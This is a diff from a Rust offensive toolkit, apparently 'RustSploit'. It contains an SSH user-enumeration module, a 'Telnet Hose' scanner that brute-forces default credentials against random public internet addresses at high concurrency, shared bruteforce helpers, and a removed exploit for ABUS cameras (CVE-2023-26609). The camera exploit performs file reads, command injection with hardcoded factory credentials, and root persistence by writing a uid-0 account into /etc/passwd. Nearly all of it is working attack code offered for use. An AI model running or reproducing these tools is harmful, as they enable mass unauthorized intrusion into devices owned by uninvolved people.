||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add default usernames?
|
||||
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true)? {
|
||||
for user in DEFAULT_USERNAMES {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames to test"));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[*] Will test {} usernames", usernames.len()).cyan());
|
||||
println!();
|
||||
|
||||
// Run enumeration
|
||||
let valid_users = enumerate_users(&host, port, &usernames, samples, timeout, threshold).await;
|
||||
|
||||
// Save results?
|
||||
if !valid_users.is_empty() && prompt_yes_no("Save valid users to file?", true)? {
|
||||
let output_path = prompt_default("Output file", "valid_ssh_users.txt")?;
|
||||
let mut file = File::create(&output_path)?;
|
||||
writeln!(file, "# Valid SSH users for {}:{}", host, port)?;
|
||||
for user in &valid_users {
|
||||
writeln!(file, "{}", user)?;
|
||||
}
|
||||
println!("{}", format!("[+] Saved to: {}", output_path).green());
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] SSH user enumeration complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,440 @@
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use rand::Rng;
|
||||
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
use std::sync::Arc;
|
||||
use std::time::{Duration, Instant};
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt, BufReader};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::process::Command;
|
||||
use tokio::sync::Semaphore;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use tokio::time::timeout;
|
||||
|
||||
// Hardcoded exclusions (Private + Cloudflare + Google + Link Local etc)
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", // Private
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8", // Multicast/Reserved
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32", // Carrier/LinkLocal/Broadcast
|
||||
// Cloudflare
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32",
|
||||
// Google
|
||||
"8.8.8.8/32", "8.8.4.4/32"
|
||||
];
|
||||
|
||||
// Top 3 Telnet Ports
|
||||
const TELNET_PORTS: &[u16] = &[23, 2323, 8023];
|
||||
|
||||
// Default Credentials (Mixed Cartesian Product will be generated from these)
|
||||
const TOP_USERS: &[&str] = &["root", "admin", "user", "support", "guest"];
|
||||
const TOP_PASS: &[&str] = &["root", "admin", "user", "1234", "123456", "password", "password123", "default", "support", "guest", ""];
|
||||
|
||||
// Keywords to match in help output (must match at least 2)
|
||||
const HELP_KEYWORDS: &[&str] = &[
|
||||
"show", "user", "system", "help", "exit", "quit", "logout", "enable", "config", "command", "menu", "admin"
|
||||
];
|
||||
|
||||
// Internal Logic Constants
|
||||
const CONCURRENCY: usize = 500;
|
||||
const CONNECT_TIMEOUT_MS: u64 = 2000;
|
||||
const LOGIN_TIMEOUT_MS: u64 = 6000; // Total time for a login attempt
|
||||
const OUTPUT_FILE: &str = "telnet_hose_results.txt";
|
||||
const STATE_FILE: &str = "telnet_hose_state.log"; // Stores "checked: <ip>"
|
||||
|
||||
#[derive(Debug, PartialEq, Clone, Copy)]
|
||||
enum TelnetState {
|
||||
WaitingForBanner,
|
||||
SendingUsername,
|
||||
WaitingForPasswordPrompt,
|
||||
SendingPassword,
|
||||
WaitingForResult,
|
||||
SendingHelp,
|
||||
WaitingForHelpResponse,
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", "=== Telnet Hose Mass Scanner ===".bold().cyan());
|
||||
println!("Target Mode: {}", if target.is_empty() || target == "random" { "Internet Random" } else { target });
|
||||
println!("Concurrency: {}", CONCURRENCY);
|
||||
println!("Exclusions: Enabled (Private + Cloudflare + Google)");
|
||||
println!("Output: {}", OUTPUT_FILE);
|
||||
|
||||
// Parse exclusions
|
||||
let mut exclusion_subnets = Vec::new();
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusion_subnets.push(net);
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusion_subnets);
|
||||
|
||||
// Prepare Credential Combos
|
||||
let mut creds = Vec::new();
|
||||
for u in TOP_USERS {
|
||||
for p in TOP_PASS {
|
||||
creds.push((u.to_string(), p.to_string()));
|
||||
}
|
||||
}
|
||||
// Also add reverse (pass as user) just in case for some
|
||||
creds.push(("1234".to_string(), "1234".to_string()));
|
||||
let creds = Arc::new(creds);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(CONCURRENCY));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
// Spawn stats reporter
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_found = stats_found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
println!(
|
||||
"[*] Status: {} IPs checked, {} Creds found",
|
||||
s_checked.load(Ordering::Relaxed),
|
||||
s_found.load(Ordering::Relaxed).to_string().green().bold()
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
if target.is_empty() || target == "random" || target == "0.0.0.0/0" {
|
||||
// Initialize state file
|
||||
OpenOptions::new().create(true).write(true).open(STATE_FILE).await?;
|
||||
|
||||
// Random Mode
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
|
||||
let exc = exclusions.clone();
|
||||
let cr = creds.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
|
||||
// Check if already tested
|
||||
if !is_ip_checked(&ip).await {
|
||||
mark_ip_checked(&ip).await;
|
||||
scan_ip(Some(ip), cr, sf).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
} else {
|
||||
// File/List Mode
|
||||
// We assume 'target' is a file path since it's a "hose" module
|
||||
let content = match tokio::fs::read_to_string(target).await {
|
||||
Ok(c) => c,
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Failed to read target file: {}", e).red());
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
|
||||
|
||||
if lines.is_empty() {
|
||||
println!("No targets found in file or invalid target string.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
println!("Loaded {} IPs from list", lines.len());
|
||||
|
||||
for ip_str in lines {
|
||||
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
|
||||
let cr = creds.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let ip = ip_str.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
if !is_ip_checked(&ip).await {
|
||||
mark_ip_checked(&ip).await;
|
||||
scan_ip(ip.parse().ok(), cr, sf).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
|
||||
// Wait for all tasks to finish (simple hack: try to acquire all semaphores)
|
||||
// In a real hose, we just run until done.
|
||||
for _ in 0..CONCURRENCY {
|
||||
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
|
||||
let mut excluded = false;
|
||||
for net in exclusions {
|
||||
if net.contains(ip_addr) {
|
||||
excluded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if !excluded {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn is_ip_checked(ip: &impl ToString) -> bool {
|
||||
// Ensure state file exists before running grep
|
||||
if !std::path::Path::new(STATE_FILE).exists() {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Grep for "checked: <ip>" in state file
|
||||
let ip_s = ip.to_string();
|
||||
let status = Command::new("grep")
|
||||
.arg("-F")
|
||||
.arg("-q")
|
||||
.arg(format!("checked: {}", ip_s))
|
||||
.arg(STATE_FILE)
|
||||
.stderr(std::process::Stdio::null())
|
||||
.status()
|
||||
.await;
|
||||
|
||||
match status {
|
||||
Ok(s) => s.success(), // Grep returns 0 (true) if found
|
||||
Err(_) => false, // File might not exist yet
|
||||
}
|
||||
}
|
||||
|
||||
async fn mark_ip_checked(ip: &impl ToString) {
|
||||
let data = format!("checked: {}\n", ip.to_string());
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(STATE_FILE)
|
||||
.await
|
||||
{
|
||||
let _ = file.write_all(data.as_bytes()).await;
|
||||
}
|
||||
}
|
||||
|
||||
async fn save_result(ip: &str, port: u16, user: &str, pass: &str) {
|
||||
let data = format!("{}:{} {}:{}\n", ip, port, user, pass);
|
||||
println!("{} {}", "[+] HOSE SUCCESS:".green().bold(), data.trim());
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(OUTPUT_FILE)
|
||||
.await
|
||||
{
|
||||
let _ = file.write_all(data.as_bytes()).await;
|
||||
}
|
||||
}
|
||||
|
||||
async fn scan_ip(
|
||||
ip_opt: Option<IpAddr>,
|
||||
creds: Arc<Vec<(String, String)>>,
|
||||
stats_found: Arc<AtomicUsize>
|
||||
) {
|
||||
let Some(ip) = ip_opt else { return };
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
let mut handles = Vec::new();
|
||||
|
||||
for &port in TELNET_PORTS {
|
||||
let socket_addr = SocketAddr::new(ip, port);
|
||||
let creds = creds.clone();
|
||||
let stats_found = stats_found.clone();
|
||||
let ip_str = ip_str.clone();
|
||||
|
||||
handles.push(tokio::spawn(async move {
|
||||
// Quick Connect Check
|
||||
if timeout(Duration::from_millis(CONNECT_TIMEOUT_MS), TcpStream::connect(&socket_addr)).await.is_err() {
|
||||
return;
|
||||
}
|
||||
|
||||
// Port is open, try credentials
|
||||
for (user, pass) in creds.iter() {
|
||||
match try_telnet_login_hose(&socket_addr, user, pass).await {
|
||||
Ok(true) => {
|
||||
save_result(&ip_str, port, user, pass).await;
|
||||
stats_found.fetch_add(1, Ordering::Relaxed);
|
||||
return; // Stop after first success on this port
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
// Wait for all ports to finish checking
|
||||
for h in handles {
|
||||
let _ = h.await;
|
||||
}
|
||||
}
|
||||
|
||||
// Simplified & Optimized Telnet Login for Hose
|
||||
// Wrapper for retry logic
|
||||
async fn try_telnet_login_hose(
|
||||
socket: &SocketAddr,
|
||||
username: &str,
|
||||
password: &str,
|
||||
) -> Result<bool> {
|
||||
// Attempt 1: Standard (try to detect, fallback to User+Pass)
|
||||
let (success, banner_seen) = do_telnet_session(socket, username, password, false).await?;
|
||||
if success {
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
// If we failed AND never saw a proper banner (blind/silence), retry with Password Only
|
||||
if !banner_seen {
|
||||
// Attempt 2: Blind Password Only
|
||||
let (success_retry, _) = do_telnet_session(socket, username, password, true).await?;
|
||||
if success_retry {
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
// Inner session logic
|
||||
async fn do_telnet_session(
|
||||
socket: &SocketAddr,
|
||||
username: &str,
|
||||
password: &str,
|
||||
force_password_only: bool,
|
||||
) -> Result<(bool, bool)> { // returns (success, banner_detected)
|
||||
|
||||
let stream_res = timeout(
|
||||
Duration::from_millis(CONNECT_TIMEOUT_MS),
|
||||
TcpStream::connect(socket)
|
||||
).await;
|
||||
|
||||
let stream = match stream_res {
|
||||
Ok(Ok(s)) => s,
|
||||
_ => return Ok((false, false)), // Connect fail
|
||||
};
|
||||
|
||||
let (reader, mut writer) = tokio::io::split(stream);
|
||||
let mut reader = BufReader::new(reader);
|
||||
let mut buf = [0u8; 1024];
|
||||
|
||||
// State Machine
|
||||
let mut state = TelnetState::WaitingForBanner;
|
||||
let start = Instant::now();
|
||||
let max_duration = Duration::from_millis(LOGIN_TIMEOUT_MS);
|
||||
let mut banner_detected = false;
|
||||
|
||||
while start.elapsed() < max_duration {
|
||||
// Simple Read with Timeout
|
||||
let read_future = reader.read(&mut buf);
|
||||
let n = match timeout(Duration::from_millis(1500), read_future).await {
|
||||
Ok(Ok(0)) => return Ok((false, banner_detected)), // EOF
|
||||
Ok(Ok(n)) => n,
|
||||
Ok(Err(_)) => return Ok((false, banner_detected)), // Error
|
||||
Err(_) => {
|
||||
// Read Timeout logic
|
||||
|
||||
// If waiting for banner and timed out -> No Banner Detected
|
||||
if state == TelnetState::WaitingForBanner {
|
||||
// Decide action based on mode
|
||||
if force_password_only {
|
||||
state = TelnetState::SendingPassword;
|
||||
} else {
|
||||
state = TelnetState::SendingUsername;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if state == TelnetState::WaitingForResult || state == TelnetState::WaitingForHelpResponse {
|
||||
// Timeout waiting for result/help usually means fail or stuck
|
||||
return Ok((false, banner_detected));
|
||||
}
|
||||
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
// IAC Stripping (Minimal)
|
||||
let s = String::from_utf8_lossy(&buf[..n]);
|
||||
let lower = s.to_lowercase();
|
||||
|
||||
// Handle current state
|
||||
match state {
|
||||
TelnetState::WaitingForBanner => {
|
||||
if lower.contains("pass") || lower.contains("word") {
|
||||
banner_detected = true;
|
||||
state = TelnetState::SendingPassword;
|
||||
} else if lower.contains("login") || lower.contains("user") || lower.contains("name") {
|
||||
banner_detected = true;
|
||||
state = TelnetState::SendingUsername;
|
||||
}
|
||||
}
|
||||
TelnetState::SendingUsername => {
|
||||
// Should not happen here if we just transitioned,
|
||||
// but if we are reading response after sending user:
|
||||
if lower.contains("pass") || lower.contains("word") {
|
||||
state = TelnetState::SendingPassword;
|
||||
}
|
||||
}
|
||||
TelnetState::WaitingForPasswordPrompt => {
|
||||
if lower.contains("pass") || lower.contains("word") {
|
||||
state = TelnetState::SendingPassword;
|
||||
}
|
||||
}
|
||||
TelnetState::WaitingForResult => {
|
||||
if lower.contains("incorrect") || lower.contains("fail") || lower.contains("denied") || lower.contains("error") {
|
||||
return Ok((false, banner_detected));
|
||||
}
|
||||
|
||||
if lower.contains("#") || lower.contains("$") || (lower.contains(">") && !lower.contains(">>")) || lower.contains("welcome") {
|
||||
state = TelnetState::SendingHelp;
|
||||
}
|
||||
}
|
||||
TelnetState::WaitingForHelpResponse => {
|
||||
let mut match_count = 0;
|
||||
for kw in HELP_KEYWORDS {
|
||||
if lower.contains(kw) {
|
||||
match_count += 1;
|
||||
}
|
||||
}
|
||||
if match_count >= 2 {
|
||||
return Ok((true, banner_detected));
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
|
||||
// Perform Writes if needed
|
||||
match state {
|
||||
TelnetState::SendingUsername => {
|
||||
let _ = writer.write_all(format!("{}\r\n", username).as_bytes()).await;
|
||||
// Add requested 2s delay
|
||||
tokio::time::sleep(Duration::from_secs(2)).await;
|
||||
state = TelnetState::WaitingForPasswordPrompt;
|
||||
}
|
||||
TelnetState::SendingPassword => {
|
||||
let _ = writer.write_all(format!("{}\r\n", password).as_bytes()).await;
|
||||
state = TelnetState::WaitingForResult;
|
||||
}
|
||||
TelnetState::SendingHelp => {
|
||||
let _ = writer.write_all(b"help\r\n").await;
|
||||
state = TelnetState::WaitingForHelpResponse;
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
Ok((false, banner_detected))
|
||||
}
|
||||
@@ -1,2 +1,4 @@
|
||||
pub mod generic; // <-- lowercase folder name
|
||||
pub mod camera;
|
||||
pub mod utils;
|
||||
pub mod camxploit;
|
||||
|
||||
@@ -0,0 +1,203 @@
|
||||
use std::sync::atomic::{AtomicU64, Ordering};
|
||||
use std::time::Instant;
|
||||
use colored::*;
|
||||
use tokio::sync::Mutex;
|
||||
use std::collections::HashMap;
|
||||
use std::net::{IpAddr, Ipv4Addr};
|
||||
use rand::Rng;
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::process::Command;
|
||||
|
||||
|
||||
|
||||
/// Standard statistics tracking for bruteforce modules
|
||||
pub struct BruteforceStats {
|
||||
total_attempts: AtomicU64,
|
||||
successful_attempts: AtomicU64,
|
||||
failed_attempts: AtomicU64,
|
||||
error_attempts: AtomicU64,
|
||||
retried_attempts: AtomicU64,
|
||||
start_time: Instant,
|
||||
unique_errors: Mutex<HashMap<String, usize>>,
|
||||
}
|
||||
|
||||
impl BruteforceStats {
|
||||
pub fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful_attempts: AtomicU64::new(0),
|
||||
failed_attempts: AtomicU64::new(0),
|
||||
error_attempts: AtomicU64::new(0),
|
||||
retried_attempts: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
unique_errors: Mutex::new(HashMap::new()),
|
||||
}
|
||||
}
|
||||
|
||||
pub fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.error_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
pub fn record_success(&self) {
|
||||
self.record_attempt(true, false);
|
||||
}
|
||||
|
||||
pub fn record_failure(&self) {
|
||||
self.record_attempt(false, false);
|
||||
}
|
||||
|
||||
pub fn record_retry(&self) {
|
||||
self.retried_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
|
||||
pub async fn record_error_detail(&self, msg: String) {
|
||||
let mut guard = self.unique_errors.lock().await;
|
||||
*guard.entry(msg).or_insert(0) += 1;
|
||||
}
|
||||
|
||||
pub async fn record_error(&self, msg: String) {
|
||||
// Increment error counter
|
||||
self.record_attempt(false, true);
|
||||
// Record detail
|
||||
self.record_error_detail(msg).await;
|
||||
}
|
||||
|
||||
pub fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let retries = self.retried_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {} retry | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
retries,
|
||||
rate
|
||||
);
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
}
|
||||
|
||||
pub async fn print_final(&self) {
|
||||
println!();
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let retries = self.retried_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("{}", "=== Statistics ===".bold());
|
||||
println!(" Total attempts: {}", total);
|
||||
println!(" Successful: {}", success.to_string().green().bold());
|
||||
println!(" Failed: {}", failed);
|
||||
println!(" Errors: {}", errors.to_string().red());
|
||||
println!(" Retries: {}", retries);
|
||||
println!(" Elapsed time: {:.2}s", elapsed);
|
||||
if elapsed > 0.0 {
|
||||
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
|
||||
}
|
||||
|
||||
let errors_guard = self.unique_errors.lock().await;
|
||||
if !errors_guard.is_empty() {
|
||||
println!("\n{}", "Top Errors:".bold());
|
||||
let mut sorted_errors: Vec<_> = errors_guard.iter().collect();
|
||||
sorted_errors.sort_by(|a, b| b.1.cmp(a.1));
|
||||
for (msg, count) in sorted_errors.into_iter().take(5) {
|
||||
println!(" - {}: {}", msg.yellow(), count);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
|
||||
// Basic check first to avoid expensive loop
|
||||
if octets[0] == 10 || octets[0] == 127 || octets[0] == 0 {
|
||||
continue;
|
||||
}
|
||||
|
||||
let mut excluded = false;
|
||||
for net in exclusions {
|
||||
if net.contains(ip_addr) {
|
||||
excluded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if !excluded {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn is_ip_checked(ip: &impl ToString, state_file: &str) -> bool {
|
||||
// Ensure state file exists before checking
|
||||
if !std::path::Path::new(state_file).exists() {
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
.write(true)
|
||||
.open(state_file)
|
||||
.await
|
||||
{
|
||||
let _ = file.flush().await;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
let ip_s = ip.to_string();
|
||||
let status = Command::new("grep")
|
||||
.arg("-F")
|
||||
.arg("-q")
|
||||
.arg(format!("checked: {}", ip_s))
|
||||
.arg(state_file)
|
||||
.stderr(std::process::Stdio::null())
|
||||
.status()
|
||||
.await;
|
||||
|
||||
match status {
|
||||
Ok(s) => s.success(),
|
||||
Err(_) => false,
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn mark_ip_checked(ip: &impl ToString, state_file: &str) {
|
||||
let data = format!("checked: {}\n", ip.to_string());
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(state_file)
|
||||
.await
|
||||
{
|
||||
let _ = file.write_all(data.as_bytes()).await;
|
||||
}
|
||||
}
|
||||
|
||||
pub fn parse_exclusions(min_ranges: &[&str]) -> Vec<ipnetwork::IpNetwork> {
|
||||
let mut exclusion_subnets = Vec::new();
|
||||
for cidr in min_ranges {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusion_subnets.push(net);
|
||||
}
|
||||
}
|
||||
exclusion_subnets
|
||||
}
|
||||
@@ -1,153 +0,0 @@
|
||||
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
|
||||
// CVE: CVE-2023-26609
|
||||
// Author: d1g@segfault.net | Ported to Rust for RustSploit
|
||||
// PoC converted 1:1 from Bash to async Rust logic
|
||||
|
||||
// Cargo.toml:
|
||||
// [dependencies]
|
||||
// anyhow = "1.0"
|
||||
// reqwest = { version = "0.11", features = ["blocking", "rustls-tls"] }
|
||||
// md5 = "0.7.0"
|
||||
|
||||
use anyhow::{Result, anyhow};
|
||||
use md5;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
|
||||
/// Wraps/bracket-sanitizes IPv6 addresses (and leaves IPv4/hostnames alone)
|
||||
fn format_host(raw: &str) -> String {
|
||||
if raw.contains(':') {
|
||||
// strip any number of existing brackets, then wrap once
|
||||
let stripped = raw.trim_matches(|c| c == '[' || c == ']');
|
||||
format!("[{}]", stripped)
|
||||
} else {
|
||||
raw.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Send authenticated LFI request
|
||||
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
|
||||
let host = format_host(target);
|
||||
let url = format!(
|
||||
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
|
||||
host, filepath
|
||||
);
|
||||
println!("[*] Sending LFI request to: {}", url);
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
println!("[+] Status: {}", resp.status());
|
||||
println!("[+] Body:\n{}", resp.text().await?);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send authenticated RCE request with command injection
|
||||
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
let host = format_host(target);
|
||||
let url = format!(
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
|
||||
host, cmd
|
||||
);
|
||||
println!("[*] Sending RCE request to: {}", url);
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
println!("[+] Status: {}", resp.status());
|
||||
println!("[+] Body:\n{}", resp.text().await?);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Stage 1: Generate SSH key
|
||||
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
|
||||
println!("[*] Generating SSH key on target...");
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// Stage 2: Inject a root user with an MD5-hashed password
|
||||
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
|
||||
// Compute lowercase-hex MD5 of the provided password
|
||||
let hash = format!("{:x}", md5::compute(password));
|
||||
println!("[*] MD5 hash of password: {}", hash);
|
||||
|
||||
// Build the echo command to append to /etc/passwd
|
||||
let cmd = format!(
|
||||
"echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
|
||||
hash
|
||||
);
|
||||
println!("[*] Injecting root user into /etc/passwd...");
|
||||
exploit_rce(client, target, &cmd).await
|
||||
}
|
||||
|
||||
/// Stage 3: Start Dropbear SSH server
|
||||
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
|
||||
println!("[*] Starting Dropbear SSH server...");
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// Combined SSH persistence exploit
|
||||
async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Result<()> {
|
||||
generate_ssh_key(client, target).await?;
|
||||
inject_root_user(client, target, password).await?;
|
||||
start_dropbear(client, target).await?;
|
||||
println!("[+] Persistence complete! You can now SSH in with:");
|
||||
println!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\
|
||||
-oHostKeyAlgorithms=+ssh-rsa d1g@{}",
|
||||
password, target
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Prompt user for mode, and dispatch accordingly
|
||||
async fn execute(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
|
||||
println!("[*] Exploit mode selection for target: {}", target);
|
||||
println!(" [1] LFI");
|
||||
println!(" [2] RCE");
|
||||
println!(" [3] SSH Persistence");
|
||||
print!("> ");
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice)?;
|
||||
match choice.trim() {
|
||||
"1" => {
|
||||
print!("Enter file path to read (e.g. /etc/passwd): ");
|
||||
io::stdout().flush()?;
|
||||
let mut fp = String::new();
|
||||
io::stdin().read_line(&mut fp)?;
|
||||
exploit_lfi(&client, target, fp.trim()).await?;
|
||||
}
|
||||
"2" => {
|
||||
print!("Enter command to execute (e.g. id): ");
|
||||
io::stdout().flush()?;
|
||||
let mut cmd = String::new();
|
||||
io::stdin().read_line(&mut cmd)?;
|
||||
exploit_rce(&client, target, cmd.trim()).await?;
|
||||
}
|
||||
"3" => {
|
||||
// Ask for the desired password, hash it, and persist
|
||||
print!("Enter desired password for new root user: ");
|
||||
io::stdout().flush()?;
|
||||
let mut pwd = String::new();
|
||||
io::stdin().read_line(&mut pwd)?;
|
||||
let pwd = pwd.trim();
|
||||
if pwd.is_empty() {
|
||||
return Err(anyhow!("Password cannot be empty"));
|
||||
}
|
||||
persist_root_shell(&client, target, pwd).await?;
|
||||
}
|
||||
_ => return Err(anyhow!("Invalid choice")),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
